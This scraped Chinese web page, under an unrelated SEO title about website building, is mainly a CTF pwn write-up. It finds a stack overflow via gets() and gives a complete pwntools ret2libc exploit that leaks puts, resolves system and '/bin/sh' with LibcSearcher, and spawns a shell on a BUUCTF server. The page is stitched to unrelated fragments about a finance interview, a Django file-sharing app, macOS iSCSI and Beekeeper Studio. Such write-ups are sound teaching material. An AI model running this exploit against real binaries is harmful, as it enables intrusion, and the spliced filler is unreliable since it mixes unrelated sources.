梅州建网站企业服务公司简介怎么写

张小明 2026/3/2 23:07:26
梅州建网站,企业服务公司简介怎么写,博客网站怎么搭建,泉州网站设计理念培训首先checksec检查保护机制#xff1a;-64位程序-开启了栈不可执行保护接下来使用IDA反汇编工具进行分析#xff1a;发现begin函数#xff0c;点进去begin函数内部#xff1a;输入1可用进入encrypt函数#xff0c;输入2可从主函数看到并没有什么用#xff0c;3是退出程序这…首先checksec检查保护机制-64位程序-开启了栈不可执行保护接下来使用IDA反汇编工具进行分析发现begin函数点进去begin函数内部输入1可用进入encrypt函数输入2可从主函数看到并没有什么用3是退出程序这是encrypt函数内部get函数可触发栈溢出漏洞看到这一行代码就可用了下面的加密过程对破解程序无任何帮助。顺便算出s到栈底的偏移0x500x8 0x58由于在IDA中没发现任何后门函数和system函数地址所以这里考虑泄露libc后来得到system函数和/bin/sh这里我们需要构造ROP链来调用函数所以还需用到ret和rdi的地址输入以下指令ROPgadget --binary pwn --only pop|retrdi地址0x400c83ret地址0x4006b9q其中rdi用于调用函数ret用于栈对齐再在IDA中拿到encrypt地址用于第一次泄露libc后再次进入encrypt函数0x4009A0基本信息拿到可用来写exp攻击脚本了from pwn import * from LibcSearcher import LibcSearcher context(archamd64, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,28902) # 与在线环境交互。 encrypt_addr 0x4009A0 offset 0x58 elf ELF(./pwn) puts_got elf.got[puts] puts_plt elf.plt[puts] rdi_addr 0x400c83 ret_addr 0x4006b9 io.recvuntil(bInput your choice!\n) io.sendline(b1) io.recvuntil(bInput your Plaintext to be encrypted\n) payload ba*offset p64(rdi_addr) p64(puts_got) p64(puts_plt) p64(encrypt_addr) io.sendline(payload) io.recvline() io.recvline() puts_addr u64(io.recvline().strip().ljust(8,b\x00)) print(hex(puts_addr)) libc LibcSearcher(puts,puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) io.recvuntil(bInput your Plaintext to be encrypted\n) payload ba*offset p64(ret_addr) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr) io.sendline(payload) io.interactive()这是运行结果这里需要手动选择libc64位程序就选64位的libc可能会选到不适配的libc库多试几次就可用了拿到shell后手动输入cat flag拿到flag
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

周口市城乡建设局网站万网网站空间多少钱一年

文章来源:123财经导航/大白EA宝库【大白小月编者按】大白访谈录来到了第七期。这一期的嘉宾北京蛙叔,是很多大白群友的“理想镜像”:40岁,定居北京,IT行业技术专家,月入7万(年薪近百万&#xff…

张小明 2026/1/11 8:49:20 网站建设

建设网站 软件推荐长春seo外包

项目介绍 在日常工作和生活中,我们经常需要在电脑和手机之间传输文件。传统的传输方式要么需要数据线连接,要么需要借助第三方应用,操作繁琐且不够高效。今天,我将介绍一个基于Django开发的WiFi文件分享应用,它可以让你通过电脑选择本地文件夹,生成访问二维码,然后通过…

张小明 2026/1/10 12:02:45 网站建设

福州高端网站制作wordpress 产品货号

macOS iSCSI启动器完整教程:快速连接远程存储的简单方法 【免费下载链接】iSCSIInitiator iSCSI Initiator for macOS 项目地址: https://gitcode.com/gh_mirrors/is/iSCSIInitiator macOS iSCSI启动器是苹果用户连接远程存储设备的专业解决方案。这个开源工…

张小明 2026/1/10 21:32:33 网站建设

网站备案要幕布照写字楼租赁

在数据库管理的世界里,每一次敲击键盘都可能意味着效率的飞跃或时间的浪费。想象一下,当你面对复杂的表结构和数百个列名时,不再需要频繁查阅文档或担心拼写错误——这就是Beekeeper Studio带来的智能SQL补全革命。 【免费下载链接】beekeepe…

张小明 2026/1/10 17:38:15 网站建设

asp 开发的大型网站哪些网站可以做详情页

销售代理 → 工程项目 → 产品服务 → 平台 → 生态现在我们要回答的是: 👉 在这个演进过程中,CTO的角色、职责、能力需求发生了哪些根本性变化?🔍 核心结论先行:✅ 随着商业模式升级,CTO 的角色…

张小明 2026/1/11 4:45:31 网站建设

网站建设后台有哪些项目wordpress 相册形式

城市居住人口,指长期在城市特定区域居住的人口,反映 “居住地” 维度的人口集聚特征;工作人口,指在城市特定区域从事生产经营活动的人口,反映 “就业地” 维度的人口流动特征,两者均是城市规划、产业发展、…

张小明 2026/1/11 3:59:36 网站建设